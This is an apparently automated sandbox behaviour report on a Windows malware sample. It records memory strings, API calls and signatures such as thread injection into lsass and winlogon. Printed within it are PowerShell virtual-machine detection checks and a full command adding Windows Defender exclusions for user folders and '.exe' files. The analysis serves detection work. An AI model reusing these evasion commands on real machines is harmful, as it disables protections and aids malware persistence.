Source: svchost.exe, 00000037.00000002.3595768053.00000205FABD0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: $value = $pr.Value.replace("VBOX", $value).replace("VBox", $value).replace("VMWARE", $value).replace("VMware", $value).replace("VirtualBox", $value).replace("Oracle Corporation", $value).replace("Microsoft Basic Display Adapter", $value)
Source: svchost.exe, 00000037.00000002.3620440164.00000205FBD08000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>2/Rzxa
Source: svchost.exe, 00000020.00000000.2427459904.00000195DD66A000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: svchost.exe, 00000032.00000000.2461656247.000001CA97800000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcUmRdpServiceDsSvcfhsvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionsvsvcStorSvcWwanSvcvmicvssDevQueryBrokerNgcSvcsysmainNetmanTabletInputServicePcaSvcDisplayEnhancementServiceIPxlatCfgSvcDeviceAssociationServiceNcbServiceEmbeddedModeSensorServicewlansvcCscServiceWPDBusEnumMixedRealityOpenXRSvc
Source: lsass.exe, 0000001F.00000000.2415028963.00000140AD88B000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: pvmicheartbeatNT SERVICE
Source: svchost.exe, 00000037.00000000.2497789179.00000205FBA43000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware
Source: svchost.exe, 00000037.00000002.3620440164.00000205FBD08000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
Source: svchost.exe, 00000037.00000000.2497015931.00000205FB943000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: nonicVMware Virtual disk 6000c292b65879ff477a6af604113f58
Source: svchost.exe, 00000037.00000002.3620440164.00000205FBD08000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>q2/Rzx
Source: svchost.exe, 00000037.00000002.3595768053.00000205FABD0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: if(($pr.Name -eq "Caption" -or $pr.Name -eq "Name" -or $pr.Name -eq "PNPDeviceID" -or $pr.Name -eq "AdapterCompatibility" -or $pr.Name -eq "Description" -or $pr.Name -eq "InfSection" -or $pr.Name -eq "VideoProcessor") -and ($pr.Value -match 'VBOX' -or $pr.Value -match 'VBox' -or $pr.Value -match 'VMWARE' -or $pr.Value -match 'VirtualBox' -or $pr.Value -match 'VMware' -or $pr.Value -match 'Oracle Corporation' -or $pr.Value -match 'Microsoft Basic Display Adapter'))
Source: svchost.exe, 00000037.00000002.3595768053.00000205FABD0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: if(($pr.Name -eq "DeviceId" -or $pr.Name -eq "Caption" -or $pr.Name -eq "Model" -or $pr.Name -eq "PNPDeviceID") -and ($pr.Value -match 'VBOX' -or $pr.Value -match 'VBox' -or $pr.Value -match 'VMWARE' -or $pr.Value -match 'VMware'))
Source: svchost.exe, 00000037.00000002.3595768053.00000205FABD0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: if(($pr.Name -eq "DeviceId" -or $pr.Name -eq "Caption" -or $pr.Name -eq "Name" -or $pr.Name -eq "PNPDeviceID" -or $pr.Name -eq "Service" -or $pr.Name -eq "Description") -and ($pr.Value -match 'VEN_80EE' -or $pr.Value -match 'VEN_15AD' -or $pr.Value -match 'VBOX' -or $pr.Value -match 'VBox' -or $pr.Value -match 'VMWARE' -or $pr.Value -match 'VMWare' -or $pr.Value -match 'VMware' -or $pr.Value -match '82801FB' -or $pr.Value -match '82441FX' -or $pr.Value -match '82371SB' -or $pr.Value -match 'OpenHCD'))

Source: C:\Windows\System32\dialer.exe	API call chain: ExitProcess graph end node	graph_17-413
Source: C:\Windows\System32\dialer.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\System32\dialer.exe	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\winlogon.exe

Code function: 22_2_000001E858987D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

22_2_000001E858987D90

Source: C:\Windows\System32\dialer.exe

Code function: 47_2_00000001408460F0 LoadLibraryA,GetProcAddressForCaller,ExitProcess,VirtualProtect,VirtualProtect,VirtualProtect,

47_2_00000001408460F0

Source: C:\Windows\System32\dialer.exe

Code function: 17_2_00000001400017EC GetProcessHeap,RtlAllocateHeap,OpenProcess,TerminateProcess,CloseHandle,GetProcessHeap,HeapFree,

17_2_00000001400017EC

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\system64x.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\dialer.exe	Process token adjusted: Debug

Source: C:\Windows\SysWOW64\system64x.exe	Code function: 3_2_00007FF762441160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,exit,	3_2_00007FF762441160
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000001E858987D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	22_2_000001E858987D90
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000001E85898D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	22_2_000001E85898D2A4
Source: C:\ProgramData\Google\Chrome\updater.exe	Code function: 28_2_00007FF72AF21160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	28_2_00007FF72AF21160
Source: C:\Windows\System32\lsass.exe	Code function: 31_2_00000140AE867D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	31_2_00000140AE867D90
Source: C:\Windows\System32\lsass.exe	Code function: 31_2_00000140AE86D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	31_2_00000140AE86D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_00000195DD5CD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	32_2_00000195DD5CD2A4
Source: C:\Windows\System32\svchost.exe	Code function: 32_2_00000195DD5C7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	32_2_00000195DD5C7D90
Source: C:\Windows\System32\dwm.exe	Code function: 33_2_000001160CA9D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	33_2_000001160CA9D2A4
Source: C:\Windows\System32\dwm.exe	Code function: 33_2_000001160CA97D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	33_2_000001160CA97D90
Source: C:\Windows\System32\dialer.exe	Code function: 45_2_0000000140001160 Sleep,Sleep,_amsg_exit,_initterm,SetUnhandledExceptionFilter,malloc,strlen,malloc,memcpy,_cexit,	45_2_0000000140001160
Source: C:\Windows\System32\svchost.exe	Code function: 48_2_00000257E10AD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	48_2_00000257E10AD2A4
Source: C:\Windows\System32\svchost.exe	Code function: 48_2_00000257E10A7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	48_2_00000257E10A7D90
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001F28C937D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	49_2_000001F28C937D90
Source: C:\Windows\System32\svchost.exe	Code function: 49_2_000001F28C93D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	49_2_000001F28C93D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_000001CA9854D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	50_2_000001CA9854D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 50_2_000001CA98547D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	50_2_000001CA98547D90
Source: C:\Windows\System32\svchost.exe	Code function: 51_2_000001D265317D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	51_2_000001D265317D90
Source: C:\Windows\System32\svchost.exe	Code function: 51_2_000001D26531D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	51_2_000001D26531D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 52_2_00000254A27DD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	52_2_00000254A27DD2A4
Source: C:\Windows\System32\svchost.exe	Code function: 52_2_00000254A27D7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	52_2_00000254A27D7D90
Source: C:\Windows\System32\wbem\WMIADAP.exe	Code function: 53_2_0000028708E6D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	53_2_0000028708E6D2A4
Source: C:\Windows\System32\wbem\WMIADAP.exe	Code function: 53_2_0000028708E67D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	53_2_0000028708E67D90
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_0000024B87DDD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	54_2_0000024B87DDD2A4
Source: C:\Windows\System32\svchost.exe	Code function: 54_2_0000024B87DD7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	54_2_0000024B87DD7D90
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00000205FD40D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	55_2_00000205FD40D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 55_2_00000205FD407D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	55_2_00000205FD407D90
Source: C:\Windows\System32\svchost.exe	Code function: 56_2_000001A2056AD2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	56_2_000001A2056AD2A4
Source: C:\Windows\System32\svchost.exe	Code function: 56_2_000001A2056A7D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	56_2_000001A2056A7D90
Source: C:\Windows\System32\svchost.exe	Code function: 57_2_0000018EC1F67D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	57_2_0000018EC1F67D90
Source: C:\Windows\System32\svchost.exe	Code function: 57_2_0000018EC1F6D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	57_2_0000018EC1F6D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 58_2_0000025CE3E0D2A4 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	58_2_0000025CE3E0D2A4
Source: C:\Windows\System32\svchost.exe	Code function: 58_2_0000025CE3E07D90 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	58_2_0000025CE3E07D90

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell decode and execute

Source: Yara match

File source: amsi64_612.amsi.csv, type: OTHER

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_612.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.Malware-gen.17013.17645.exe PID: 612, type: MEMORYSTR

Adds a directory exclusion to Windows Defender

Source: C:\Windows\SysWOW64\system64x.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Source: C:\Windows\SysWOW64\system64x.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force	Jump to behavior
Source: C:\ProgramData\Google\Chrome\updater.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force

Allocates memory in foreign processes

Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\winlogon.exe base: 1E858950000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\lsass.exe base: 140ADFC0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 195DD590000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dwm.exe base: 1160CA30000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\winlogon.exe base: 1E8589B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\lsass.exe base: 140AE890000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 195DE1A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dwm.exe base: 1160CA60000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 257E1070000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1F28C1D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1CA97FD0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D2652E0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 254A27A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 24B87DA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 205FB3C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1A205670000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 18EC1F30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 25CE3BC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 26238950000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2786E560000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1611FF70000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 27C0F350000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1B279570000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1E70A460000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 22D13110000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 22C8C580000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2825F1D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2AA5D9C0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 20BAEC90000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D2DC1B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1C782530000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\spoolsv.exe base: EC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 24066EB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1A3FD9A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 181CEDB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 2A142790000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 195B6F30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1428DCF0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe base: 1B973730000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1DBFA540000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D76CCC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1A239D90000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 17CFA390000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 23FB7310000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1DF53B50000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 164E88A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 25177B50000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 28D5D340000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\sihost.exe base: 24EB5E10000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 20859990000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1F153C20000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1D241D40000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 16FADAD0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\ctfmon.exe base: 20E03070000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 15204DB0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\explorer.exe base: 87A0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 175C5280000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dasHost.exe base: 1CE76AA0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 22EF1B30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1C7F34B0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 261DE4D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 22E74470000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dllhost.exe base: 1B1A9D00000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 217AF8E0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\smartscreen.exe base: 226D8930000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 13E5E930000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1F843DC0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 21197E30000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 223DC870000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: 1B4698D0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 28AF9060000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 27234C50000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 28543540000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\audiodg.exe base: 2B684340000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1BE58920000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 26106120000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 19D48690000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 1A4AA0F0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 2BEEB870000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 1AEF8F80000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\dllhost.exe base: 25B826F0000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 12107F90000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WmiPrvSE.exe base: 1B210E80000 protect: page execute and read and write
Source: C:\Windows\System32\dialer.exe	Memory allocated: C:\Windows\System32\wbem\WMIADAP.exe base: 28708E30000 protect: page execute and read and write

Contains functionality to inject code into remote processes

Source: C:\Windows\System32\dialer.exe

Code function: 17_2_0000000140001C88 CreateProcessW,VirtualAllocEx,WriteProcessMemory,WriteProcessMemory,VirtualAlloc,GetThreadContext,WriteProcessMemory,SetThreadContext,ResumeThread,OpenProcess,TerminateProcess,

17_2_0000000140001C88

Creates a thread in another existing process (thread injection)

Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\winlogon.exe EIP: 5895273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\lsass.exe EIP: ADFC273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: DD59273C	Jump to behavior
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: 589B273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: AE89273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: DE1A273C
Source: C:\Windows\System32\dialer.exe	Thread created: unknown EIP: CA6273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: E107273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 8C1D273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 97FD273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 652E273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: A27A273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 87DA273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: FB3C273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: 567273C
Source: C:\Windows\System32\dialer.exe	Thread created: C:\Windows\System32\svchost.exe EIP: C1F3273C
